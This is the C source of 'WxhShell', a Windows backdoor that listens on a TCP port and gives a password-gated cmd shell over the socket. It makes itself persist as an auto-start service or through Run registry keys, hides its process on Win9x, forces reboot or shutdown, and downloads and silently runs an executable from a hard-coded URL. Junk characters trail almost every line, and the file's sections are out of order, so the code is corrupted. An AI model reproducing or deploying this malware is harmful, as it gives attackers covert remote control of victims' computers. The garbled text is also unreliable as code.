    if(Boot(SHUTDOWN)) &v/R-pz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b}m@2DR'|m  
    else { ce1U}">11  
    closesocket(wsh); Ak@y"!wnM  
    ExitThread(0); #9]O92t2UV  
    } 7_5-gtD  
    break; HurF4IsHk  
    } mS &^xWPV  
  // 获取shell 8MBvp*  
  case 's': { M HKnHPv  
    CmdShell(wsh); tx}=c5  
    closesocket(wsh); _16r8r$V  
    ExitThread(0); 'M% uw85  
    break; L=kETJ:g  
  } g,\O}jT\'  
  // 退出 c #8@>;  
  case 'x': { ~{{@m]P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !+3nlG4cw  
    CloseIt(wsh); Y?JB%%WWI  
    break; Eyg F,>.4  
    } c^}DBvG,  
  // 离开 Ca#T?HL  
  case 'q': { d+&w7/F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); LTnbBh*mc  
    closesocket(wsh); OT}P0 ~4s  
    WSACleanup(); x{,W<oXg  
    exit(1); W%< z|  
    break; *~8g:;u  
        } N=c{@h  
  } PS`F  
  } o:lMRP~  
dp*E#XCr1  
  // 提示信息 DWk2=cO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E&> 2=$~  
} SBamgc  
  } Ksvk5r&y  
]1|OQYG  
  return; '$q3Ze  
} G%SoC  
K,@} 'N  
// shell模块句柄 agnEYdM_  
int CmdShell(SOCKET sock) !s[ gv1  
{ ]N6UY  
STARTUPINFO si; DfVSG1g  
ZeroMemory(&si,sizeof(si)); ->J5|c#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ` 6pz9j]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <P-AlHYV-  
PROCESS_INFORMATION ProcessInfo; Xb1is\JB  
char cmdline[]="cmd"; mN'sJ1L-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {5JYu  
  return 0; MO *7:hI  
} c"NGE  
iy|xF~  
// 自身启动模式 SQDc%I>b  
int StartFromService(void) N`7+] T  
{ M0woJt[&  
typedef struct "QM2YJ55m`  
{ ,~XAV ;+  
  DWORD ExitStatus; vw/GAljflu  
  DWORD PebBaseAddress; c)SQ@B@q  
  DWORD AffinityMask; *N%)+-   
  DWORD BasePriority; J|e3 UikA  
  ULONG UniqueProcessId; 2o~UA\:+=  
  ULONG InheritedFromUniqueProcessId; phy:G}F6%  
}   PROCESS_BASIC_INFORMATION; 0t)5KO  
EP6@5PNZ  
PROCNTQSIP NtQueryInformationProcess; @Pf['BF"  
B'D~Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W(PNw2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }\vw>iHPX@  
a-9sc6@  
  HANDLE             hProcess; h]k1vp)Q y  
  PROCESS_BASIC_INFORMATION pbi; mxTuwx   
aTE;Gy,W  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X9#i!_*  
  if(NULL == hInst ) return 0; ^P owL:  
7:wf!\@ I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T$tO[QR/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ePTN^#|W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gO kum_  
g3\1 3<  
  if (!NtQueryInformationProcess) return 0; # 0/,teJ k  
P(i E"KH;  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d 2z!i^:  
  if(!hProcess) return 0; 6o]>lQ}  
1|5TuljTd  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]?~[!&h  
?#  )\SQ  
  CloseHandle(hProcess); M/jdMfU  
&dJ\}O[r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); nLnzl  
if(hProcess==NULL) return 0; UsdUMt!u  
t flUy\H>  
HMODULE hMod; -FQS5Zb.!  
char procName[255]; It5n;,n  
unsigned long cbNeeded; {e83 A /{  
^c:I]_Ww  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =v~$&@  
.< -~k@ P  
  CloseHandle(hProcess); ':|?M B  
D~@lpcI  
if(strstr(procName,"services")) return 1; // 以服务启动 e)]DFP[ n  
TJkWL2r0c  
  return 0; // 注册表启动 Px?0)^"2  
} NucLf6  
#\MkbZc d  
// 主模块 }62Q{>`  
int StartWxhshell(LPSTR lpCmdLine) }~! D]/B  
{ <"!'>ZUt  
  SOCKET wsl; ". wG~H  
BOOL val=TRUE; wKAxUPzm  
  int port=0; @gihIysf  
  struct sockaddr_in door; "I JcKoB  
10$:^  
  if(wscfg.ws_autoins) Install(); KZwzQ"Hl  
qF4DX$$<  
port=atoi(lpCmdLine); !4mAZF b  
HG[gJ7  
if(port<=0) port=wscfg.ws_port; Cj# ?Z7}z  
(eO_]<wmky  
  WSADATA data; n16TQe"8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +c\uBrlZQ;  
2Q[q)u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   r%^XOw<'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^%Fn|U\u  
  door.sin_family = AF_INET; KPI[{T\`ZM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); n_-k <3  
  door.sin_port = htons(port); cb9@ 0^-  
P%Wl`NA P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hV"2L4/E  
closesocket(wsl); juBzpQYj  
return 1; f9J]-#Iif  
} T2i\S9X  
I}1<epd ,  
  if(listen(wsl,2) == INVALID_SOCKET) { Axx{G~n![  
closesocket(wsl); xwu,<M v `  
return 1; 8!Q0:4Vb  
} K<7 Db4H  
  Wxhshell(wsl); 'pl){aL`@u  
  WSACleanup(); jX 6+~  
f{f|frs  
return 0; > V%3w7  
Y# ?M%I%j  
} |NaEXzo|qY  
cUM#|K#6  
// 以NT服务方式启动 vKNxL^x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z;[Z'_B  
{ DqlspT  
DWORD   status = 0; e+P|PW  
  DWORD   specificError = 0xfffffff; ru1FJ{n  
HZzdelo  
  serviceStatus.dwServiceType     = SERVICE_WIN32; %'<m[wf^ o  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ov8{ny  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Qv:J#uVw?O  
  serviceStatus.dwWin32ExitCode     = 0; fO$~jxR.  
  serviceStatus.dwServiceSpecificExitCode = 0; K9f7,/  
  serviceStatus.dwCheckPoint       = 0; D`r_ Dz  
  serviceStatus.dwWaitHint       = 0; 8??%H7~  
<t4l5nr#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;/<J& #2.  
  if (hServiceStatusHandle==0) return; 6d|%8.q1  
h5R5FzY0&  
status = GetLastError(); ' 8bT9  
  if (status!=NO_ERROR) `(?x@Y>.Ht  
{ E[E[Za^Y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k84JDPu#  
    serviceStatus.dwCheckPoint       = 0; p3(&9~ s  
    serviceStatus.dwWaitHint       = 0; ](H vx  
    serviceStatus.dwWin32ExitCode     = status; Cn(0ID+3f  
    serviceStatus.dwServiceSpecificExitCode = specificError; YC0FXNV  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@9k+JB   
    return; #3act )m  
  } dLI`\e<r&[  
;'J{ylRQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :N([s(}!$2  
  serviceStatus.dwCheckPoint       = 0; (~FLG I  
  serviceStatus.dwWaitHint       = 0; h *-j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &MsBcP[  
} jNA^ (|:  
S\O6B1<:  
// 处理NT服务事件,比如:启动、停止 NP*M#3$[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |J#mgA}(  
{ -N[Q*;h|  
switch(fdwControl) 7T3ub3\  
{ zn|/h,.  
case SERVICE_CONTROL_STOP: s8<)lO<SV.  
  serviceStatus.dwWin32ExitCode = 0; !xxu~j^T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; c 0%%X!!$  
  serviceStatus.dwCheckPoint   = 0; i@M^9|Gh  
  serviceStatus.dwWaitHint     = 0; :h+gSvn:  
  {  Gp/yr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \kGi5G]  
  } $xf{m9 8  
  return; /)` kYD6  
case SERVICE_CONTROL_PAUSE: V5{^R+_)Ya  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L)o7~M  
  break; Fhn=}7|4q  
case SERVICE_CONTROL_CONTINUE: d?/?VooU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bLysUj5[5  
  break; Gq/f|43}@O  
case SERVICE_CONTROL_INTERROGATE: /8SQmh$+e  
  break; kG7q4jFwP  
}; 1wa zJj=v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cR1dGNcp/@  
} |E)Es!dr  
kMHupROj  
// 标准应用程序主函数 w8Mi: ;6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) N'nqVYTU  
{ ^vjN$JB  
})R8VJ&C/  
// 获取操作系统版本 YEWHr>&Z  
OsIsNt=GetOsVer(); 7lvUIc?krW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'V5^D<1P  
xPY/J#X$  
  // 从命令行安装 /QsFeH  
  if(strpbrk(lpCmdLine,"iI")) Install(); \1[I(u  
< }3c%Q1  
  // 下载执行文件 pH%cbBm  
if(wscfg.ws_downexe) { tZ]|3wp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) e4V4%Qw  
  WinExec(wscfg.ws_filenam,SW_HIDE); -BNlZgk-^  
} lGI5  
@83h/Wcxd  
if(!OsIsNt) { N;A #3Ter  
// 如果时win9x,隐藏进程并且设置为注册表启动 VJX{2$L  
HideProc(); .-;K$'YG  
StartWxhshell(lpCmdLine); .(,4a<I?%N  
} \guZc}V]:\  
else "-4V48ci  
  if(StartFromService()) &X +Qi  
  // 以服务方式启动 /vl]Oa&U  
  StartServiceCtrlDispatcher(DispatchTable); x+vNA J  
else \#[W8k<Z  
  // 普通方式启动 ^j?\_r'j  
  StartWxhshell(lpCmdLine); BYEqTwhT&  
ujZki.x  
return 0; [IVT0 i  
} 22\Buk}?  
w~EXO;L2  
j=)Cyg3_%  
aW7{T6.,  
=========================================== ^CTgo,uf6H  
v.)'b e*u  
e0HG"z4  
kx 'ncxN~  
PNXZ3:W  
 O+1 e  
" y6'Fi(2yw  
kwdmw_  
#include <stdio.h> h:(Jes2  
#include <string.h> !W/Og 5n  
#include <windows.h> bCk_ZA  
#include <winsock2.h> |H5){2V>K  
#include <winsvc.h> -Q;5A;sr2  
#include <urlmon.h> 6hYv  
?6B)Ek,'X?  
#pragma comment (lib, "Ws2_32.lib") 4x=rew>Ew  
#pragma comment (lib, "urlmon.lib") N10'./c K  
M|FwYF^  
#define MAX_USER   100 // 最大客户端连接数 "uCx.Q9 ef  
#define BUF_SOCK   200 // sock buffer E=w$r  
#define KEY_BUFF   255 // 输入 buffer &by,uVb=|{  
z-uJ+SA  
#define REBOOT     0   // 重启 %96JH YcX  
#define SHUTDOWN   1   // 关机 *#Hi W)  
O{&5/xBA  
#define DEF_PORT   5000 // 监听端口 Z?[;Japg  
[9a0J):w{  
#define REG_LEN     16   // 注册表键长度 h$~ NPX  
#define SVC_LEN     80   // NT服务名长度 \P!v9LX(  
GC H= X  
// 从dll定义API GY<Y,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Gp$[u4-6M6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2Y&z}4'j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |A 7Yv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {O#=%o[  
`8\pihww  
// wxhshell配置信息 'Y6{89y  
struct WSCFG { Y:G6Nd VFM  
  int ws_port;         // 监听端口 )rz4IfE  
  char ws_passstr[REG_LEN]; // 口令 G=!Y~qg  
  int ws_autoins;       // 安装标记, 1=yes 0=no l},*^Sn<5  
  char ws_regname[REG_LEN]; // 注册表键名 5bv(J  T  
  char ws_svcname[REG_LEN]; // 服务名 uwQ{y>SG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 aCX](sN  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6YrkS;_HS  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u7fae$:&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C>N)~Ut  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]ss0~2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h(]O;a-  
FM0)/6I'x  
}; c>!>D7:7  
:74^?  
// default Wxhshell configuration [xk1}D  
struct WSCFG wscfg={DEF_PORT, %#02Z%?%  
    "xuhuanlingzhe", Ne@Iv)g?  
    1, 3A4?9>g)KU  
    "Wxhshell", X82sw>Y  
    "Wxhshell", !V Zl<|  
            "WxhShell Service", odny{ePAf  
    "Wrsky Windows CmdShell Service", U[c,cdA  
    "Please Input Your Password: ", YQ 4;X8I`r  
  1, +G? 4Wc1  
  "http://www.wrsky.com/wxhshell.exe", ov#/v\|0  
  "Wxhshell.exe" jbn{5af  
    }; M=x/PrY"R  
7}%3Aw6]S  
// 消息定义模块 p<`q^D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3kdTteyy+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g*b%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *r?g&Vw$m  
char *msg_ws_ext="\n\rExit."; EfcoJgX  
char *msg_ws_end="\n\rQuit."; b3H~a2"d  
char *msg_ws_boot="\n\rReboot..."; $9+}$lpPd  
char *msg_ws_poff="\n\rShutdown..."; V(=~p[  
char *msg_ws_down="\n\rSave to "; k^p|H:  
r{#od 7;  
char *msg_ws_err="\n\rErr!"; IpoZ6DB$  
char *msg_ws_ok="\n\rOK!"; g>_6O[;t%  
[O&2!x  
char ExeFile[MAX_PATH]; >VE,/?71@  
int nUser = 0; PX(.bP2^Lq  
HANDLE handles[MAX_USER]; LP7t*}PK  
int OsIsNt; P_z3TK  
oS/<)>\Gv  
SERVICE_STATUS       serviceStatus; vE>J@g2#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %^p1ax  
]V<[W,*(5  
// 函数声明 )T(xQ2&r4  
int Install(void); 7cK#fh"hvg  
int Uninstall(void); Jq l#z/z  
int DownloadFile(char *sURL, SOCKET wsh); 9-Ikd>9  
int Boot(int flag); 3K@dW"3  
void HideProc(void); Fm`hFBKW  
int GetOsVer(void); TCX*$ac"  
int Wxhshell(SOCKET wsl); a"b9h{h@  
void TalkWithClient(void *cs); KCe =$  
int CmdShell(SOCKET sock); PnFU{N  
int StartFromService(void); iJZqAfG{m?  
int StartWxhshell(LPSTR lpCmdLine); @8HTC|_vX  
%?<C ?.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]~U4;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); w_ kHy_)  
W7WHH \L/O  
// 数据结构和表定义 @rRBo:0%  
SERVICE_TABLE_ENTRY DispatchTable[] = wlAlIvIT  
{ ^Gq4Yr  
{wscfg.ws_svcname, NTServiceMain}, 5H6m{ng  
{NULL, NULL} =IkQ;L&  
}; Kg VLXI6  
d8C?m*3 J  
// 自我安装 IU{~{(p"  
int Install(void) );kO2 7dg  
{ ?uc=(J+6  
  char svExeFile[MAX_PATH]; Ih;6(5z  
  HKEY key; <?yAIhgN*  
  strcpy(svExeFile,ExeFile); 9b``l-rO  
%ErL L@e  
// 如果是win9x系统,修改注册表设为自启动 6^H64jM  
if(!OsIsNt) { rqxoqcZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8v8?D8\=|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pD9*WKEf*  
  RegCloseKey(key); R61.!ql%w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JX7_/P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZK[4n5}  
  RegCloseKey(key); )TP 1i  
  return 0; Uq<c+4)5  
    } /+1+6MqRn*  
  } g;i>nzf  
} !e?=I  
else { Fx0E4\-  
[c +[t3dz  
// 如果是NT以上系统,安装为系统服务 j5Vyo>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KqG:o+V=  
if (schSCManager!=0) u> XCE|D*  
{ O]DZb+O"  
  SC_HANDLE schService = CreateService = 7d{lK  
  ( H{VVxj  
  schSCManager, JfxD-9U^>u  
  wscfg.ws_svcname, ]{jdar^  
  wscfg.ws_svcdisp, 3Wa^:8N  
  SERVICE_ALL_ACCESS, s$4!?b$tw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \hai  
  SERVICE_AUTO_START, EdlU}LU  
  SERVICE_ERROR_NORMAL, dT4?8:  
  svExeFile, 4:.yE|@h[  
  NULL, _<yGen-  
  NULL, 2 DJs '"8  
  NULL, 1//d68*"  
  NULL, +)k%jIi!  
  NULL 0-M.>fwZ=  
  ); 2a'b}<|[(  
  if (schService!=0) 5tdFd"oo  
  { bCHJLtDQ  
  CloseServiceHandle(schService); {U?/u93~  
  CloseServiceHandle(schSCManager); x ok8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :*u .=^  
  strcat(svExeFile,wscfg.ws_svcname); 8fRk8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I(y:Td  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /Fy2ZYs,`8  
  RegCloseKey(key); FBJw (.Jr  
  return 0; = &jLwy  
    } *`&4< >=n  
  } U2 m86@E  
  CloseServiceHandle(schSCManager); :l ~Wt7R  
} %"B+;{y(5  
} %MGbIMpY  
O W`yv  
return 1; m<qPj"g~L  
} wg?GEY  
~3bH2,{L[  
// 自我卸载 gg $/  
int Uninstall(void) YaU)66=u  
{ [hC-} 9  
  HKEY key; @c,Qj$\1  
3pg_`  
if(!OsIsNt) { Xy/lsaVskX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "=8= G  
  RegDeleteValue(key,wscfg.ws_regname); tk=~b} 8  
  RegCloseKey(key); w6FtDl$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4UP#~  
  RegDeleteValue(key,wscfg.ws_regname); ZyAm:yO  
  RegCloseKey(key); _voU^-  
  return 0; j0P+<@y  
  } :+Ti^FF`w  
} Zw6UH;5  
} s.ywp{EF  
else { $}_a`~u  
L WwWxerZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wP:ab  
if (schSCManager!=0) c*R?eLt/  
{ ~Psv[b=]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Rf*cW&}%  
  if (schService!=0) ~d5f]6#`  
  { o m9zb&{tu  
  if(DeleteService(schService)!=0) { 3jx5Lou)&  
  CloseServiceHandle(schService); 1:{BC2P  
  CloseServiceHandle(schSCManager); 4l)Q  
  return 0; |Iq#Q3w  
  } J+IkTqw  
  CloseServiceHandle(schService); _}G1/`09#  
  } Iq/V[v  
  CloseServiceHandle(schSCManager); F,F1Axf  
} c ow]qe6K  
} FH Hi/yh  
7Qoy~=E  
return 1; +,wCV2>\3  
} Dq$co1eT  
g+ZQ6Hz  
// 从指定url下载文件 6KpG,%2L#  
int DownloadFile(char *sURL, SOCKET wsh) 0J \hku\  
{ P/9iB/  
  HRESULT hr; <OR f{  
char seps[]= "/"; ?U^h:n  
char *token; bi =IIVlH  
char *file; >S]_{pb  
char myURL[MAX_PATH]; Aw~N"i  
char myFILE[MAX_PATH]; !/]vt?v#^  
cx_.+R  
strcpy(myURL,sURL); R\VM6>SN'S  
  token=strtok(myURL,seps); vH`m W`=  
  while(token!=NULL) 6<%W 8m\  
  { 9bE/7v  
    file=token; wfE%` 1  
  token=strtok(NULL,seps); Td|x~mZv:  
  } \@%sX24D  
qYi<GI*|@  
GetCurrentDirectory(MAX_PATH,myFILE); moe5H  
strcat(myFILE, "\\"); rEWPVT  
strcat(myFILE, file); 0SJ7QRo|K  
  send(wsh,myFILE,strlen(myFILE),0); orU++,S4Pm  
send(wsh,"...",3,0); ;?-`n4B&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $IdY(f:.:5  
  if(hr==S_OK) $hCPmiI  
return 0; ,vN0Jpf}\8  
else ;:0gN|+  
return 1; #!h +K"wX  
qrq9NPf  
} P0/B!8x  
G\HU%J  
// 系统电源模块 Z T5p  
int Boot(int flag) @Z50S 8  
{ 5[1#d\QR  
  HANDLE hToken; !edgziuO  
  TOKEN_PRIVILEGES tkp; TNvE26.(  
l:Y$A$W]>  
  if(OsIsNt) { /p&)bL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $!msav  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e>oE{_e  
    tkp.PrivilegeCount = 1; VB+sl2V<h  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; N%2UL&w#B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l imzDQ^  
if(flag==REBOOT) { _z3Hl?qk=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Vu6p l  
  return 0; TF@HwF"#  
} B-OuBS,fwC  
else { d\cwUXf J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F! |?S:X  
  return 0; fGv`.T_d  
} ;[_w&"[6a  
  } ? }k~>. \  
  else { -CTsB)=\,  
if(flag==REBOOT) { 1qs~[7{C1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  xYMNyj~  
  return 0; GC3:ZpV`  
} N1V qK  
else { z"eh.&T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `P`n qn  
  return 0; p,?8s%  
} ;'Pi(TA)  
} t `4^cd5V  
GQ-o wH]  
return 1; @UO=)PxN3  
} |\/0S  
==psPyLF@  
// win9x进程隐藏模块 cZRLYOC  
void HideProc(void) x*#F|N4~',  
{ ZSuMQ32  
%Km_Sy[7']  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l|-TGjsX  
  if ( hKernel != NULL ) cLQvzd:h=  
  { I +,D,Vg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); + R)x5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,i2%FW  
    FreeLibrary(hKernel); 's{-1aW  
  } Ii?"`d+JA  
uP/WRQ{rW>  
return; O_f|R1G5z  
} sz.(_{5!  
xDBEs*  
// 获取操作系统版本 F}Bc +i#]  
int GetOsVer(void) xG_ ;F  
{ ;G.m;5A  
  OSVERSIONINFO winfo; :):=KowI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h2 Ifq!(:  
  GetVersionEx(&winfo); p[e|N;W8A  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SaEe7eHd  
  return 1; Z'GO p?  
  else )o[ O%b  
  return 0; 66=6;77  
} 'uUp1+  
~(B\X?v  
// 客户端句柄模块 Do(7LidC5  
int Wxhshell(SOCKET wsl) J+&AtGq]u  
{ ?B %y)K  
  SOCKET wsh; =~Jv*c  
  struct sockaddr_in client; u+s#Fee I  
  DWORD myID; nJ4h9`[>V  
?ZSG4La\  
  while(nUser<MAX_USER) !EM21Sc  
{ QB@qzgEJ!,  
  int nSize=sizeof(client); 9B'l+nP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); TE*$NxQ 2  
  if(wsh==INVALID_SOCKET) return 1; G=3/PYp  
kTex>1W;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]t1)8v2w>  
if(handles[nUser]==0) MPO!qSS]  
  closesocket(wsh); R*TCoEKO  
else ,I=Cl mR  
  nUser++; #rV=!j||  
  } Xr M[8a  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )1j~(C)E8  
ue/6DwUv  
  return 0; c6s(f  
} SBjtg@:G0n  
* @G4i  
// 关闭 socket Ats"iV  
void CloseIt(SOCKET wsh) V{Idj\~Jh  
{ 7^KQQ([  
closesocket(wsh); 2O9dU 5b  
nUser--; ]-%ZN+  
ExitThread(0); Lj(hk @  
} B0q![  
>o 3X)  
// 客户端请求句柄 #jr;.;8sQ  
void TalkWithClient(void *cs) An[*Jx  
{ <$Uj ~jN  
4PD"[a="  
  SOCKET wsh=(SOCKET)cs; kc8GnKM&mc  
  char pwd[SVC_LEN]; H gNUr5p  
  char cmd[KEY_BUFF]; $'9r=#EH  
char chr[1]; OM!ES%c,  
int i,j; D{'Na5(  
L{^DZg|E  
  while (nUser < MAX_USER) { bHS2;K~  
bvG").8$  
if(wscfg.ws_passstr) { Oku4EJFJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tO[+O=d  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .j}u'!LKul  
  //ZeroMemory(pwd,KEY_BUFF); B"KsYB79t  
      i=0; h%=b"x  
  while(i<SVC_LEN) { Bf'jXM{-  
:R_{tQ-WG  
  // 设置超时 [po+a@ %  
  fd_set FdRead; i;)g0}x`  
  struct timeval TimeOut; i6`8yw  
  FD_ZERO(&FdRead); 'R]Z9h  
  FD_SET(wsh,&FdRead); zZ32K@  
  TimeOut.tv_sec=8; MqoQs{x  
  TimeOut.tv_usec=0; g=U?{<8.m  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V'K$:9^x[8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); d}l^yln  
&/JnAfmYqt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Vw%[+lY9  
  pwd=chr[0]; 7abq3OK+`  
  if(chr[0]==0xd || chr[0]==0xa) { -|)[s[T~m  
  pwd=0; =JVRm 2#*  
  break; Q.y KbO<[  
  } ^ _+ks/  
  i++; f2yv7t T   
    } {eZ j[*P  
b%PVF&C9W  
  // 如果是非法用户,关闭 socket :T{or-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); oTa! F;I  
} 8V|-BP5^  
\ 3LD^[qi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); E,6E-9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GzB%vsv9 5  
vy#c(:UQR  
while(1) { $1dI  
H~G=0_S  
  ZeroMemory(cmd,KEY_BUFF); .86..1  
4Dd9cG,lN  
      // 自动支持客户端 telnet标准   F Q k;  
  j=0; n9J>yud|  
  while(j<KEY_BUFF) { >u/yp[Ky  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); nb|MHtPX  
  cmd[j]=chr[0]; \)#3S $L~  
  if(chr[0]==0xa || chr[0]==0xd) { _ x'StD  
  cmd[j]=0; 8n:D#`K  
  break; nWl0R=  
  } U)PumU+z$u  
  j++; *FE<'+%  
    } ;C{_T:LS  
Z0:BXtW  
  // 下载文件 0=5i\*5 p  
  if(strstr(cmd,"http://")) { 8)tyn'~i  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <qy+@t  
  if(DownloadFile(cmd,wsh)) e5/_Vga  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n^%u9H  
  else Lg nGqIlx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A^Zs?<C-  
  } i~9)Hz;!  
